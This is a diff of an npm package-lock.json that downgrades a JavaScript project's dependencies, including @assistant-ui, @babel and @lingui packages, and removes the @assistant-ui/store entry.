@@ -442,28 +440,26 @@
       "license": "MIT"
     },
     "node_modules/@assistant-ui/react": {
-      "version": "0.12.9",
-      "resolved": "https://registry.npmjs.org/@assistant-ui/react/-/react-0.12.9.tgz",
-      "integrity": "sha512-yz5a40Gadfsd0Klo6kGXFSC6KGbVODjqs4w2YBrz5BPj+IutATEXmYr0FZokmz5z5IgPztHGs58hXgDUErx3zg==",
+      "version": "0.11.53",
+      "resolved": "https://registry.npmjs.org/@assistant-ui/react/-/react-0.11.53.tgz",
+      "integrity": "sha512-G5VB752Somw2Xv4JkGqnloZTxXRu2laHufOROs2H9yOE9Pu+o9aCjW/rn9p8FIev4gWh/ltDouX8T+z9Fh8dJw==",
       "license": "MIT",
       "dependencies": {
-        "@assistant-ui/store": "^0.1.6",
-        "@assistant-ui/tap": "^0.4.5",
+        "@assistant-ui/tap": "^0.3.5",
         "@radix-ui/primitive": "^1.1.3",
         "@radix-ui/react-compose-refs": "^1.1.2",
         "@radix-ui/react-context": "^1.1.3",
-        "@radix-ui/react-dropdown-menu": "^2.1.16",
         "@radix-ui/react-popover": "^1.1.15",
         "@radix-ui/react-primitive": "^2.1.4",
         "@radix-ui/react-slot": "^1.2.4",
         "@radix-ui/react-use-callback-ref": "^1.1.1",
         "@radix-ui/react-use-escape-keydown": "^1.1.1",
-        "assistant-cloud": "^0.1.17",
-        "assistant-stream": "^0.3.2",
-        "nanoid": "^5.1.6",
+        "assistant-cloud": "^0.1.12",
+        "assistant-stream": "^0.2.46",
+        "nanoid": "5.1.6",
         "react-textarea-autosize": "^8.5.9",
-        "zod": "^4.3.6",
-        "zustand": "^5.0.11"
+        "zod": "^4.2.1",
+        "zustand": "^5.0.9"
       },
       "peerDependencies": {
         "@types/react": "*",
@@ -481,9 +477,9 @@
       }
     },
     "node_modules/@assistant-ui/react-markdown": {
-      "version": "0.12.3",
-      "resolved": "https://registry.npmjs.org/@assistant-ui/react-markdown/-/react-markdown-0.12.3.tgz",
-      "integrity": "sha512-H2OPDj7Iw8S/Ro9VXB5JaaEbOYoKguUSRAyAldiLv+bZDyuv4wGVswh81wKN0poZ79omf6c7udOxo9NAj/gVpw==",
+      "version": "0.11.9",
+      "resolved": "https://registry.npmjs.org/@assistant-ui/react-markdown/-/react-markdown-0.11.9.tgz",
+      "integrity": "sha512-zR0Ty4ID5htJgm4g1TVAbTsyfJZ8XHccDQ0sMODsq/PWAM75l7EmAbxdSKPbvCqny1A/FxvAB4dz1LA17ZgoWg==",
       "license": "MIT",
       "dependencies": {
         "@radix-ui/react-primitive": "^2.1.4",
@@ -492,7 +488,7 @@
         "react-markdown": "^10.1.0"
       },
       "peerDependencies": {
-        "@assistant-ui/react": "^0.12.9",
+        "@assistant-ui/react": "^0.11.53",
         "@types/react": "*",
         "react": "^18 || ^19"
       },
@@ -563,29 +559,10 @@
         }
       }
     },
-    "node_modules/@assistant-ui/store": {
-      "version": "0.1.6",
-      "resolved": "https://registry.npmjs.org/@assistant-ui/store/-/store-0.1.6.tgz",
-      "integrity": "sha512-FdKfuY04bsxGQFTkP+35wF7RLGoZ1HrSDEbjN1J7Qr5TsdbeVjrgX0dU2pG+M6ezY6Zh7wIhZCEa5srX0UrT+A==",
-      "license": "MIT",
-      "dependencies": {
-        "@assistant-ui/tap": "^0.4.5",
-        "use-effect-event": "^2.0.3"
-      },
-      "peerDependencies": {
-        "@types/react": "*",
-        "react": "^18 || ^19"
-      },
-      "peerDependenciesMeta": {
-        "@types/react": {
-          "optional": true
-        }
-      }
-    },
     "node_modules/@assistant-ui/tap": {
-      "version": "0.4.5",
-      "resolved": "https://registry.npmjs.org/@assistant-ui/tap/-/tap-0.4.5.tgz",
-      "integrity": "sha512-qqBQ2GxxUeh6ksCbMSNmUFCC1ISFeJ/U9hhlX00v+dHeYaLNuFryuBC5UJjibi4U05VGgfX+u6HWfArKqskbSw==",
+      "version": "0.3.5",
+      "resolved": "https://registry.npmjs.org/@assistant-ui/tap/-/tap-0.3.5.tgz",
+      "integrity": "sha512-aI7lOKglkVYy17GrS9EdjSrOmEBmofWPBZ4F5wb96yqEynXflXY3qUAFCgmUwaP/TVkog72+o1ePyvsGphSmJQ==",
       "license": "MIT",
       "peerDependencies": {
         "@types/react": "*",
@@ -601,12 +578,12 @@
       }
     },
     "node_modules/@babel/code-frame": {
-      "version": "7.29.0",
-      "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.29.0.tgz",
-      "integrity": "sha512-9NhCeYjq9+3uxgdtp20LSiJXJvN0FeCtNGpJxuMFZ1Kv3cWUNb6DOhJwUvcVCzKGR66cw4njwM6hrJLqgOwbcw==",
+      "version": "7.27.1",
+      "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.27.1.tgz",
+      "integrity": "sha512-cjQ7ZlQ0Mv3b47hABuTevyTuYN4i+loJKGeV9flcCgIK37cCXRh+L1bd3iBHlynerhQ7BhCkn2BPbQUL+rGqFg==",
       "license": "MIT",
       "dependencies": {
-        "@babel/helper-validator-identifier": "^7.28.5",
+        "@babel/helper-validator-identifier": "^7.27.1",
         "js-tokens": "^4.0.0",
         "picocolors": "^1.1.1"
       },
@@ -615,29 +592,29 @@
       }
     },
     "node_modules/@babel/compat-data": {
-      "version": "7.29.0",
-      "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.29.0.tgz",
-      "integrity": "sha512-T1NCJqT/j9+cn8fvkt7jtwbLBfLC/1y1c7NtCeXFRgzGTsafi68MRv8yzkYSapBnFA6L3U2VSc02ciDzoAJhJg==",
+      "version": "7.27.5",
+      "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.27.5.tgz",
+      "integrity": "sha512-KiRAp/VoJaWkkte84TvUd9qjdbZAdiqyvMxrGl1N6vzFogKmaLgoM3L1kgtLicp2HP5fBJS8JrZKLVIZGVJAVg==",
       "license": "MIT",
       "engines": {
         "node": ">=6.9.0"
       }
     },
     "node_modules/@babel/core": {
-      "version": "7.29.0",
-      "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.29.0.tgz",
-      "integrity": "sha512-CGOfOJqWjg2qW/Mb6zNsDm+u5vFQ8DxXfbM09z69p5Z6+mE1ikP2jUXw+j42Pf1XTYED2Rni5f95npYeuwMDQA==",
-      "license": "MIT",
-      "dependencies": {
-        "@babel/code-frame": "^7.29.0",
-        "@babel/generator": "^7.29.0",
-        "@babel/helper-compilation-targets": "^7.28.6",
-        "@babel/helper-module-transforms": "^7.28.6",
-        "@babel/helpers": "^7.28.6",
-        "@babel/parser": "^7.29.0",
-        "@babel/template": "^7.28.6",
-        "@babel/traverse": "^7.29.0",
-        "@babel/types": "^7.29.0",
+      "version": "7.28.5",
+      "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.28.5.tgz",
+      "integrity": "sha512-e7jT4DxYvIDLk1ZHmU/m/mB19rex9sv0c2ftBtjSBv+kVM/902eh0fINUzD7UwLLNR+jU585GxUJ8/EBfAM5fw==",
+      "license": "MIT",
+      "dependencies": {
+        "@babel/code-frame": "^7.27.1",
+        "@babel/generator": "^7.28.5",
+        "@babel/helper-compilation-targets": "^7.27.2",
+        "@babel/helper-module-transforms": "^7.28.3",
+        "@babel/helpers": "^7.28.4",
+        "@babel/parser": "^7.28.5",
+        "@babel/template": "^7.27.2",
+        "@babel/traverse": "^7.28.5",
+        "@babel/types": "^7.28.5",
         "@jridgewell/remapping": "^2.3.5",
         "convert-source-map": "^2.0.0",
         "debug": "^4.1.0",
@@ -659,13 +636,13 @@
       "integrity": "sha512-Kvp459HrV2FEJ1CAsi1Ku+MY3kasH19TFykTz2xWmMeq6bk2NU3XXvfJ+Q61m0xktWwt+1HSYf3JZsTms3aRJg=="
     },
     "node_modules/@babel/generator": {
-      "version": "7.29.1",
-      "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.29.1.tgz",
-      "integrity": "sha512-qsaF+9Qcm2Qv8SRIMMscAvG4O3lJ0F1GuMo5HR/Bp02LopNgnZBC/EkbevHFeGs4ls/oPz9v+Bsmzbkbe+0dUw==",
+      "version": "7.28.5",
+      "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.28.5.tgz",
+      "integrity": "sha512-3EwLFhZ38J4VyIP6WNtt2kUdW9dokXA9Cr4IVIFHuCpZ3H8/YFOl5JjZHisrn1fATPBmKKqXzDFvh9fUwHz6CQ==",
       "license": "MIT",
       "dependencies": {
-        "@babel/parser": "^7.29.0",
-        "@babel/types": "^7.29.0",
+        "@babel/parser": "^7.28.5",
+        "@babel/types": "^7.28.5",
         "@jridgewell/gen-mapping": "^0.3.12",
         "@jridgewell/trace-mapping": "^0.3.28",
         "jsesc": "^3.0.2"
@@ -688,12 +665,12 @@
       }
     },
     "node_modules/@babel/helper-compilation-targets": {
-      "version": "7.28.6",
-      "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.28.6.tgz",
-      "integrity": "sha512-JYtls3hqi15fcx5GaSNL7SCTJ2MNmjrkHXg4FSpOA/grxK8KwyZ5bubHsCq8FXCkua6xhuaaBit+3b7+VZRfcA==",
+      "version": "7.27.2",
+      "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.27.2.tgz",
+      "integrity": "sha512-2+1thGUUWWjLTYTHZWK1n8Yga0ijBz1XAhUXcKy81rd5g6yh7hGqMp45v7cadSbEHc9G3OTv45SyneRN3ps4DQ==",
       "license": "MIT",
       "dependencies": {
-        "@babel/compat-data": "^7.28.6",
+        "@babel/compat-data": "^7.27.2",
         "@babel/helper-validator-option": "^7.27.1",
         "browserslist": "^4.24.0",
         "lru-cache": "^5.1.1",
@@ -749,27 +726,27 @@
       }
     },
     "node_modules/@babel/helper-module-imports": {
-      "version": "7.28.6",
-      "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.28.6.tgz",
-      "integrity": "sha512-l5XkZK7r7wa9LucGw9LwZyyCUscb4x37JWTPz7swwFE/0FMQAGpiWUZn8u9DzkSBWEcK25jmvubfpw2dnAMdbw==",
+      "version": "7.27.1",
+      "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.27.1.tgz",
+      "integrity": "sha512-0gSFWUPNXNopqtIPQvlD5WgXYI5GY2kP2cCvoT8kczjbfcfuIljTbcWrulD1CIPIX2gt1wghbDy08yE1p+/r3w==",
       "license": "MIT",
       "dependencies": {
-        "@babel/traverse": "^7.28.6",
-        "@babel/types": "^7.28.6"
+        "@babel/traverse": "^7.27.1",
+        "@babel/types": "^7.27.1"
       },
       "engines": {
         "node": ">=6.9.0"
       }
     },
     "node_modules/@babel/helper-module-transforms": {
-      "version": "7.28.6",
-      "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.28.6.tgz",
-      "integrity": "sha512-67oXFAYr2cDLDVGLXTEABjdBJZ6drElUSI7WKp70NrpyISso3plG9SAGEF6y7zbha/wOzUByWWTJvEDVNIUGcA==",
+      "version": "7.28.3",
+      "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.28.3.tgz",
+      "integrity": "sha512-gytXUbs8k2sXS9PnQptz5o0QnpLL51SwASIORY6XaBKF88nsOT0Zw9szLqlSGQDP/4TljBAD5y98p2U1fqkdsw==",
       "license": "MIT",
       "dependencies": {
-        "@babel/helper-module-imports": "^7.28.6",
-        "@babel/helper-validator-identifier": "^7.28.5",
-        "@babel/traverse": "^7.28.6"
+        "@babel/helper-module-imports": "^7.27.1",
+        "@babel/helper-validator-identifier": "^7.27.1",
+        "@babel/traverse": "^7.28.3"
       },
       "engines": {
         "node": ">=6.9.0"
@@ -861,25 +838,25 @@
       }
     },
     "node_modules/@babel/helpers": {
-      "version": "7.28.6",
-      "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.28.6.tgz",
-      "integrity": "sha512-xOBvwq86HHdB7WUDTfKfT/Vuxh7gElQ+Sfti2Cy6yIWNW05P8iUslOVcZ4/sKbE+/jQaukQAdz/gf3724kYdqw==",
+      "version": "7.28.4",
+      "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.28.4.tgz",
+      "integrity": "sha512-HFN59MmQXGHVyYadKLVumYsA9dBFun/ldYxipEjzA4196jpLZd8UjEEBLkbEkvfYreDqJhZxYAWFPtrfhNpj4w==",
       "license": "MIT",
       "dependencies": {
-        "@babel/template": "^7.28.6",
-        "@babel/types": "^7.28.6"
+        "@babel/template": "^7.27.2",
+        "@babel/types": "^7.28.4"
       },
       "engines": {
         "node": ">=6.9.0"
       }
     },
     "node_modules/@babel/parser": {
-      "version": "7.29.0",
-      "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.29.0.tgz",
-      "integrity": "sha512-IyDgFV5GeDUVX4YdF/3CPULtVGSXXMLh1xVIgdCgxApktqnQV0r7/8Nqthg+8YLGaAtdyIlo2qIdZrbCv4+7ww==",
+      "version": "7.28.5",
+      "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.28.5.tgz",
+      "integrity": "sha512-KKBU1VGYR7ORr3At5HAtUQ+TV3SzRCXmA/8OdDZiLDBIZxVyzXuztPjfLd3BV1PRAQGCMWWSHYhL0F8d5uHBDQ==",
       "license": "MIT",
       "dependencies": {
-        "@babel/types": "^7.29.0"
+        "@babel/types": "^7.28.5"
       },
       "bin": {
         "parser": "bin/babel-parser.js"
@@ -1390,31 +1367,31 @@
       }
     },
     "node_modules/@babel/template": {
-      "version": "7.28.6",
-      "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.28.6.tgz",
-      "integrity": "sha512-YA6Ma2KsCdGb+WC6UpBVFJGXL58MDA6oyONbjyF/+5sBgxY/dwkhLogbMT2GXXyU84/IhRw/2D1Os1B/giz+BQ==",
+      "version": "7.27.2",
+      "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.27.2.tgz",
+      "integrity": "sha512-LPDZ85aEJyYSd18/DkjNh4/y1ntkE5KwUHWTiqgRxruuZL2F1yuHligVHLvcHY2vMHXttKFpJn6LwfI7cw7ODw==",
       "license": "MIT",
       "dependencies": {
-        "@babel/code-frame": "^7.28.6",
-        "@babel/parser": "^7.28.6",
-        "@babel/types": "^7.28.6"
+        "@babel/code-frame": "^7.27.1",
+        "@babel/parser": "^7.27.2",
+        "@babel/types": "^7.27.1"
       },
       "engines": {
         "node": ">=6.9.0"
       }
     },
     "node_modules/@babel/traverse": {
-      "version": "7.29.0",
-      "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.29.0.tgz",
-      "integrity": "sha512-4HPiQr0X7+waHfyXPZpWPfWL/J7dcN1mx9gL6WdQVMbPnF3+ZhSMs8tCxN7oHddJE9fhNE7+lxdnlyemKfJRuA==",
+      "version": "7.28.5",
+      "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.28.5.tgz",
+      "integrity": "sha512-TCCj4t55U90khlYkVV/0TfkJkAkUg3jZFA3Neb7unZT8CPok7iiRfaX0F+WnqWqt7OxhOn0uBKXCw4lbL8W0aQ==",
       "license": "MIT",
       "dependencies": {
-        "@babel/code-frame": "^7.29.0",
-        "@babel/generator": "^7.29.0",
+        "@babel/code-frame": "^7.27.1",
+        "@babel/generator": "^7.28.5",
         "@babel/helper-globals": "^7.28.0",
-        "@babel/parser": "^7.29.0",
-        "@babel/template": "^7.28.6",
-        "@babel/types": "^7.29.0",
+        "@babel/parser": "^7.28.5",
+        "@babel/template": "^7.27.2",
+        "@babel/types": "^7.28.5",
         "debug": "^4.3.1"
       },
       "engines": {
@@ -1422,9 +1399,9 @@
       }
     },
     "node_modules/@babel/types": {
-      "version": "7.29.0",
-      "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.29.0.tgz",
-      "integrity": "sha512-LwdZHpScM4Qz8Xw2iKSzS+cfglZzJGvofQICy7W7v4caru4EaAmyUuO6BGrbyQ2mYV11W0U8j5mBhd14dd3B0A==",
+      "version": "7.28.5",
+      "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.28.5.tgz",
+      "integrity": "sha512-qQ5m48eI/MFLQ5PxQj4PFaprjyCTLI37ElWMmNs0K8Lk3dVeOdNpB3ks8jc7yM5CDmVC73eMVk/trk3fgmrUpA==",
       "license": "MIT",
       "dependencies": {
         "@babel/helper-string-parser": "^7.27.1",
@@ -1445,20 +1422,20 @@
       }
     },
     "node_modules/@bufbuild/protobuf": {
-      "version": "2.11.0",
-      "resolved": "https://registry.npmjs.org/@bufbuild/protobuf/-/protobuf-2.11.0.tgz",
-      "integrity": "sha512-sBXGT13cpmPR5BMgHE6UEEfEaShh5Ror6rfN3yEK5si7QVrtZg8LEPQb0VVhiLRUslD2yLnXtnRzG035J/mZXQ==",
+      "version": "2.10.1",
+      "resolved": "https://registry.npmjs.org/@bufbuild/protobuf/-/protobuf-2.10.1.tgz",
+      "integrity": "sha512-ckS3+vyJb5qGpEYv/s1OebUHDi/xSNtfgw1wqKZo7MR9F2z+qXr0q5XagafAG/9O0QPVIUfST0smluYSTpYFkg==",
       "license": "(Apache-2.0 AND BSD-3-Clause)"
     },
     "node_modules/@chromatic-com/storybook": {
-      "version": "5.0.0",
-      "resolved": "https://registry.npmjs.org/@chromatic-com/storybook/-/storybook-5.0.0.tgz",
-      "integrity": "sha512-8wUsqL8kg6R5ue8XNE7Jv/iD1SuE4+6EXMIGIuE+T2loBITEACLfC3V8W44NJviCLusZRMWbzICddz0nU0bFaw==",
+      "version": "4.1.3",
+      "resolved": "https://registry.npmjs.org/@chromatic-com/storybook/-/storybook-4.1.3.tgz",
+      "integrity": "sha512-hc0HO9GAV9pxqDE6fTVOV5KeLpTiCfV8Jrpk5ogKLiIgeq2C+NPjpt74YnrZTjiK8E19fYcMP+2WY9ZtX7zHmw==",
       "dev": true,
       "license": "MIT",
       "dependencies": {
         "@neoconfetti/react": "^1.0.0",
-        "chromatic": "^13.3.4",
+        "chromatic": "^13.3.3",
         "filesize": "^10.0.12",
         "jsonfile": "^6.1.0",
         "strip-ansi": "^7.1.0"
@@ -1468,7 +1445,7 @@
         "yarn": ">=1.22.18"
       },
       "peerDependencies": {
-        "storybook": "^0.0.0-0 || ^10.1.0 || ^10.1.0-0 || ^10.2.0-0 || ^10.3.0-0"
+        "storybook": "^0.0.0-0 || ^9.0.0 || ^9.1.0-0 || ^9.2.0-0 || ^10.0.0-0 || ^10.1.0-0 || ^10.2.0-0 || ^10.3.0-0"
       }
     },
     "node_modules/@chromatic-com/storybook/node_modules/ansi-regex": {
@@ -1596,9 +1573,9 @@
       }
     },
     "node_modules/@csstools/css-syntax-patches-for-csstree": {
-      "version": "1.0.26",
-      "resolved": "https://registry.npmjs.org/@csstools/css-syntax-patches-for-csstree/-/css-syntax-patches-for-csstree-1.0.26.tgz",
-      "integrity": "sha512-6boXK0KkzT5u5xOgF6TKB+CLq9SOpEGmkZw0g5n9/7yg85wab3UzSxB8TxhLJ31L4SGJ6BCFRw/iftTha1CJXA==",
+      "version": "1.0.14",
+      "resolved": "https://registry.npmjs.org/@csstools/css-syntax-patches-for-csstree/-/css-syntax-patches-for-csstree-1.0.14.tgz",
+      "integrity": "sha512-zSlIxa20WvMojjpCSy8WrNpcZ61RqfTfX3XTaOeVlGJrt/8HF3YbzgFZa01yTbT4GWQLwfTcC3EB8i3XnB647Q==",
       "dev": true,
       "funding": [
         {
@@ -1610,7 +1587,13 @@
           "url": "https://opencollective.com/csstools"
         }
       ],
-      "license": "MIT-0"
+      "license": "MIT-0",
+      "engines": {
+        "node": ">=18"
+      },
+      "peerDependencies": {
+        "postcss": "^8.4"
+      }
     },
     "node_modules/@csstools/css-tokenizer": {
       "version": "3.0.4",
@@ -2400,19 +2383,19 @@
       }
     },
     "node_modules/@exodus/bytes": {
-      "version": "1.11.0",
-      "resolved": "https://registry.npmjs.org/@exodus/bytes/-/bytes-1.11.0.tgz",
-      "integrity": "sha512-wO3vd8nsEHdumsXrjGO/v4p6irbg7hy9kvIeR6i2AwylZSk4HJdWgL0FNaVquW1+AweJcdvU1IEpuIWk/WaPnA==",
+      "version": "1.7.0",
+      "resolved": "https://registry.npmjs.org/@exodus/bytes/-/bytes-1.7.0.tgz",
+      "integrity": "sha512-5i+BtvujK/vM07YCGDyz4C4AyDzLmhxHMtM5HpUyPRtJPBdFPsj290ffXW+UXY21/G7GtXeHD2nRmq0T1ShyQQ==",
       "dev": true,
       "license": "MIT",
       "engines": {
         "node": "^20.19.0 || ^22.12.0 || >=24.0.0"
       },
       "peerDependencies": {
-        "@noble/hashes": "^1.8.0 || ^2.0.0"
+        "@exodus/crypto": "^1.0.0-rc.4"
       },
       "peerDependenciesMeta": {
-        "@noble/hashes": {
+        "@exodus/crypto": {
           "optional": true
         }
       }
@@ -2487,9 +2470,9 @@
       "license": "0BSD"
     },
     "node_modules/@graphql-codegen/cli": {
-      "version": "6.1.1",
-      "resolved": "https://registry.npmjs.org/@graphql-codegen/cli/-/cli-6.1.1.tgz",
-      "integrity": "sha512-Ni8UdZ6D/UTvLvDtPb6PzshI0lTqtLDnmv/2t1w2SYP92H0MMEdAzxB/ujDWwIXm2LzVPvvrGvzzCTMsyXa+mA==",
+      "version": "6.1.0",
+      "resolved": "https://registry.npmjs.org/@graphql-codegen/cli/-/cli-6.1.0.tgz",
+      "integrity": "sha512-7w3Zq5IFONVOBcyOiP01Nv9WRxGS/TEaBCAb/ALYA3xHq95dqKCpoGnxt/Ut9R18jiS+aMgT0gc8Tr8sHy44jA==",
       "dev": true,
       "license": "MIT",
       "dependencies": {
@@ -4321,9 +4304,9 @@
       }
     },
     "node_modules/@isaacs/brace-expansion": {
-      "version": "5.0.1",
-      "resolved": "https://registry.npmjs.org/@isaacs/brace-expansion/-/brace-expansion-5.0.1.tgz",
-      "integrity": "sha512-WMz71T1JS624nWj2n2fnYAuPovhv7EUhk69R6i9dsVyzxt5eM3bjwvgk9L+APE1TRscGysAVMANkB0jh0LQZrQ==",
+      "version": "5.0.0",
+      "resolved": "https://registry.npmjs.org/@isaacs/brace-expansion/-/brace-expansion-5.0.0.tgz",
+      "integrity": "sha512-ZT55BDLV0yv0RBm2czMiZ+SqCGO7AvmOM3G/w2xhVPH+te0aKgFjmBvGlL1dH+ql2tgGO3MVrbb3jCKyvpgnxA==",
       "dev": true,
       "license": "MIT",
       "dependencies": {
@@ -4608,9 +4591,9 @@
       }
     },
     "node_modules/@lingui/babel-plugin-extract-messages": {
-      "version": "5.9.0",
-      "resolved": "https://registry.npmjs.org/@lingui/babel-plugin-extract-messages/-/babel-plugin-extract-messages-5.9.0.tgz",
-      "integrity": "sha512-1uLhq9u6zUoTMsNzaoHKi+PnySdeLMaxOHC9L5dbXotJim7eiUH5d3OiuXajN4sDW+xKSMg0/KE9Oo8ge6gzpA==",
+      "version": "5.7.0",
+      "resolved": "https://registry.npmjs.org/@lingui/babel-plugin-extract-messages/-/babel-plugin-extract-messages-5.7.0.tgz",
+      "integrity": "sha512-kTRw/cr4crwKim2mAd4f5dHUQtIWK1ydN3Ga5FHb5hYgPhfK9egzykVCIEb/N10TfwwLUjSzNZXmTlCiLrgTLw==",
       "dev": true,
       "license": "MIT",
       "engines": {
@@ -4618,18 +4601,18 @@
       }
     },
     "node_modules/@lingui/babel-plugin-lingui-macro": {
-      "version": "5.9.0",
-      "resolved": "https://registry.npmjs.org/@lingui/babel-plugin-lingui-macro/-/babel-plugin-lingui-macro-5.9.0.tgz",
-      "integrity": "sha512-TWpxsoG5R4km/5//mjT90a1cGXlljt9hLP6VJGDsO+31uYr8qQ4PN92DvXKrKicBDZTDxtH5K+TkaBTZhPNqzQ==",
+      "version": "5.7.0",
+      "resolved": "https://registry.npmjs.org/@lingui/babel-plugin-lingui-macro/-/babel-plugin-lingui-macro-5.7.0.tgz",
+      "integrity": "sha512-LoyRpvcocdKfkfill3VOYtyDYclnrB+c/IOS0D0i+xmBvNDjtG28gOVU81brg2w07Hzi6TKhNf3+YSi2UXsILQ==",
       "dev": true,
       "license": "MIT",
       "dependencies": {
         "@babel/core": "^7.20.12",
         "@babel/runtime": "^7.20.13",
         "@babel/types": "^7.20.7",
-        "@lingui/conf": "5.9.0",
-        "@lingui/core": "5.9.0",
-        "@lingui/message-utils": "5.9.0"
+        "@lingui/conf": "5.7.0",
+        "@lingui/core": "5.7.0",
+        "@lingui/message-utils": "5.7.0"
       },
       "engines": {
         "node": ">=20.0.0"
@@ -4644,9 +4627,9 @@
       }
     },
     "node_modules/@lingui/cli": {
-      "version": "5.9.0",
-      "resolved": "https://registry.npmjs.org/@lingui/cli/-/cli-5.9.0.tgz",
-      "integrity": "sha512-c4fle6xGZAFxEWADE1rN22PbVRbNFiNK0LBtxbtGN4G6ziO/AVhXua+liMy/fFkRCyooSbM3J5hU35xih0jMMg==",
+      "version": "5.7.0",
+      "resolved": "https://registry.npmjs.org/@lingui/cli/-/cli-5.7.0.tgz",
+      "integrity": "sha512-606EuwTvenumOfNRF9JoV1G3JIZyWQldQV+rgkUozmaiEQT+3xuTr6K2IOSBfJZoICG2jwrnMT8ifWr08BAICg==",
       "dev": true,
       "license": "MIT",
       "dependencies": {
@@ -4655,12 +4638,12 @@
         "@babel/parser": "^7.22.0",
         "@babel/runtime": "^7.21.0",
         "@babel/types": "^7.21.2",
-        "@lingui/babel-plugin-extract-messages": "5.9.0",
-        "@lingui/babel-plugin-lingui-macro": "5.9.0",
-        "@lingui/conf": "5.9.0",
-        "@lingui/core": "5.9.0",
-        "@lingui/format-po": "5.9.0",
-        "@lingui/message-utils": "5.9.0",
+        "@lingui/babel-plugin-extract-messages": "5.7.0",
+        "@lingui/babel-plugin-lingui-macro": "5.7.0",
+        "@lingui/conf": "5.7.0",
+        "@lingui/core": "5.7.0",
+        "@lingui/format-po": "5.7.0",
+        "@lingui/message-utils": "5.7.0",
         "chokidar": "3.5.1",
         "cli-table": "^0.3.11",
         "commander": "^10.0.0",
@@ -4855,9 +4838,9 @@
       }
     },
     "node_modules/@lingui/conf": {
-      "version": "5.9.0",
-      "resolved": "https://registry.npmjs.org/@lingui/conf/-/conf-5.9.0.tgz",
-      "integrity": "sha512-dtRUlz3IyG+XwFRDzA45vllJwiY5zY92Skb3GE1QtZxV28B3oP/8G16Z9vQvDn1WpupQbf8EsqfOvaPAraa2cw==",
+      "version": "5.7.0",
+      "resolved": "https://registry.npmjs.org/@lingui/conf/-/conf-5.7.0.tgz",
+      "integrity": "sha512-O0TWVfR99H+7SUI4pYGNkCUU1t2WcIwgDTTX3VKq6wH3A+P90QyAJLOXj+/s0JVkc1I37EL23Wtca5QkFBLtOg==",
       "dev": true,
       "license": "MIT",
       "dependencies": {
@@ -4909,19 +4892,19 @@
       }
     },
     "node_modules/@lingui/core": {
-      "version": "5.9.0",
-      "resolved": "https://registry.npmjs.org/@lingui/core/-/core-5.9.0.tgz",
-      "integrity": "sha512-TJFhRttwHdWpcYRT3KVXh4nT+Qc4yxvrpalV5Vrs/sQTyrQWbT1/Lc9qXNYSALb5BAglZq0XU46oRpJdt+PVMQ==",
+      "version": "5.7.0",
+      "resolved": "https://registry.npmjs.org/@lingui/core/-/core-5.7.0.tgz",
+      "integrity": "sha512-eEQCFqjcwCn2lEHsH/I0koMKfwCJFTKG3Bnx6tkVuYmpfmgagbSMKIMot0WFY9gzafKHGsrvZrNDNT4OwdxDIQ==",
       "license": "MIT",
       "dependencies": {
         "@babel/runtime": "^7.20.13",
-        "@lingui/message-utils": "5.9.0"
+        "@lingui/message-utils": "5.7.0"
       },
       "engines": {
         "node": ">=20.0.0"
       },
       "peerDependencies": {
-        "@lingui/babel-plugin-lingui-macro": "5.9.0",
+        "@lingui/babel-plugin-lingui-macro": "5.7.0",
         "babel-plugin-macros": "2 || 3"
       },
       "peerDependenciesMeta": {
@@ -4934,14 +4917,14 @@
       }
     },
     "node_modules/@lingui/format-po": {
-      "version": "5.9.0",
-      "resolved": "https://registry.npmjs.org/@lingui/format-po/-/format-po-5.9.0.tgz",
-      "integrity": "sha512-Umm2dt2TjiWl2kLSXk7+t5V3V/p9AaUUtRA7Ky3XHMYanKuxp0/Km/MTJfdSdCH6Rftefk/aQ3hJKuQORP8Bsw==",
+      "version": "5.7.0",
+      "resolved": "https://registry.npmjs.org/@lingui/format-po/-/format-po-5.7.0.tgz",
+      "integrity": "sha512-n2UX7T7N58O8HhcmM6RAVgxM3egloF0AM16VQdMPEKpZiTm8CDN5O3ovJu7ophsbfLp9iKZcbGd+QypZY671+Q==",
       "dev": true,
       "license": "MIT",
       "dependencies": {
-        "@lingui/conf": "5.9.0",
-        "@lingui/message-utils": "5.9.0",
+        "@lingui/conf": "5.7.0",
+        "@lingui/message-utils": "5.7.0",
         "date-fns": "^3.6.0",
         "pofile": "^1.1.4"
       },
@@ -4961,20 +4944,20 @@
       }
     },
     "node_modules/@lingui/macro": {
-      "version": "5.9.0",
-      "resolved": "https://registry.npmjs.org/@lingui/macro/-/macro-5.9.0.tgz",
-      "integrity": "sha512-sewECacYl+VKUTyd/XqV5zd4zo0/YpSEKPJhB8fhzVeu/wObK2PtMcOhir0vW/nTjWWXpUdH8BZ202OKtOqymQ==",
+      "version": "5.7.0",
+      "resolved": "https://registry.npmjs.org/@lingui/macro/-/macro-5.7.0.tgz",
+      "integrity": "sha512-XDB3obEo/R+HXXCxkEvDyvz7u/m5VlkbyHiXeq2eTFXfzLMXI7wLUyVDbxKysXkqmYcBgzmRUYDTRcA+mUoIKg==",
       "dev": true,
       "license": "MIT",
       "dependencies": {
-        "@lingui/core": "5.9.0",
-        "@lingui/react": "5.9.0"
+        "@lingui/core": "5.7.0",
+        "@lingui/react": "5.7.0"
       },
       "engines": {
         "node": ">=20.0.0"
       },
